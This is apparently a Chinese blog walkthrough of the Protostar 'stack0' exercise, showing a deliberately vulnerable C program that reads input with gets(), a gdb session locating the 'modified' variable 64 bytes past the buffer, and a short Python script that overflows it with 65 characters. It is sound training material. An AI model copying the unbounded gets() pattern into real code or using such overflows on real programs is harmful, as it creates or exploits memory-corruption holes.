Exploit練習Protostar——stack0

簡介

  咱們知道,當程序執行進入一個新的函數時,系統會爲函數在棧上分配一塊空間,用來存儲函數中使用的參數和局部變量信息,用寄存器ESP和EBP指示空間範圍,當從函數返回時,這塊空間也會被拋棄,實際上就是修改ESP和EBP寄存器中的值。這個練習說明了變量在棧的分配狀況,以及怎樣突破ESP和EBP對空間的限制,修改分配空間外的數據,使得函數的執行邏輯發生變化。html

源碼

 1 #include <stdlib.h>
 2 #include <unistd.h>
 3 #include <stdio.h>
 4 
 5 int main(int argc, char **argv)
 6 {
 7     volatile int modified;
 8     char buffer[64];
 9 
10     modified = 0;
11     gets(buffer);
12 
13     if(modified != 0) {
14         printf("you have changed the 'modified' variable\n");
15     } else {
16         printf("Try again?\n");
17     }
18 } 

分析

  這個練習只是一個練手,因此很簡單。
  程序中包含兩個變量,一個modified,被聲明爲volatile,這個標識符表示每次使用modified變量都從內存中讀取值,而不是使用cache中保存的值;還有一個變量buffer,佔用64個字節的空間。程序使用gets函數讀取用戶輸入,並保存到buffer中,以後根據modified變量的值決定if語句的執行邏輯。
  按照正常狀況,因爲modified使用等於0,所以程序應該使用輸出"Try again?",可是因爲在獲取用戶輸入時沒有判斷用戶輸入數據的大小,所以用戶可能會輸入大於64個字節的內容,形成棧溢出。那麼咱們怎麼經過這個棧溢出漏洞修改modified的值,從而修改if語句的執行邏輯呢?python

調試程序

  Stack0在/opt/protostar/bin/文件夾中,直接執行linux

gdb stack0

  進入gdb調試,根據源碼,在第13行設置斷點函數

b 13

  執行r,使程序繼續執行,並輸入aaaa做爲用戶輸入,程序在第13行暫停,咱們先來看一下EBP和ESP的值spa

(gdb) print $ebp
$1 = (void *) 0xbffffcb8
(gdb) print $esp
$2 = (void *) 0xbffffc50

  咱們能夠輸出這部份內存的內容調試

1 (gdb) x/26xw 0xbffffc50
2 0xbffffc50: 0xbffffc6c 0x00000001 0xb7fff8f8 0xb7f0186e
3 0xbffffc60: 0xb7fd7ff4 0xb7ec6165 0xbffffc78 0x61616161
4 0xbffffc70: 0xb7fd7f00 0x08049620 0xbffffc88 0x080482e8
5 0xbffffc80: 0xb7ff1040 0x08049620 0xbffffcb8 0x08048469
6 0xbffffc90: 0xb7fd8304 0xb7fd7ff4 0x08048450 0xbffffcb8
7 0xbffffca0: 0xb7ec6365 0xb7ff1040 0x0804845b 0x00000000
8 0xbffffcb0: 0x08048450 0x00000000

  能夠看到第二行最後的0x61616161,這就是咱們輸入的aaaa,也是buffer的起始位置。再來看一下變量modified在哪裏code

(gdb) info address modified
Symbol "modified" is a local variable at frame offset 92.

  我已經把偏移值爲92的位置加紅了,咱們能夠看到buffer的起始位置和modified相差64個字節。在此次執行時咱們只輸入了"aaaa",若是咱們繼續輸入超過64個字節的內容,就會覆蓋modified變量的值,可是要注意不要超過變量modified的位置,不然會覆蓋其餘關鍵信息(例如返回地址),使程序崩潰。htm

EXPLOIT的編寫

  那麼exploit都須要作些什麼呢?其實很簡單,就是執行stack0這個程序,並在程序須要用戶輸入時,自動輸入payload,咱們的payload能夠是65個a字符。
  由於要在程序執行過程當中處理用戶輸入的問題,因此使用subprocess模塊。
exploit代碼:blog

1 import subprocess
2 proc = subprocess.Popen("/opt/protostar/bin/stack0", stdin=subprocess.PIPE)
3 payload = 'a' * 65
4 proc.communicate(payload)

  執行將上述代碼保存爲python文件並運行,就會發現程序輸出已經變成了"you have changed the 'modified' variable"內存

參考文獻

  1. https://docs.python.org/2/library/subprocess.html#popen-objects
  2. http://www.yolinux.com/TUTORIALS/GDB-Commands.html
  3. https://exploit-exercises.com/protostar/stack0/
相關文章
相關標籤/搜索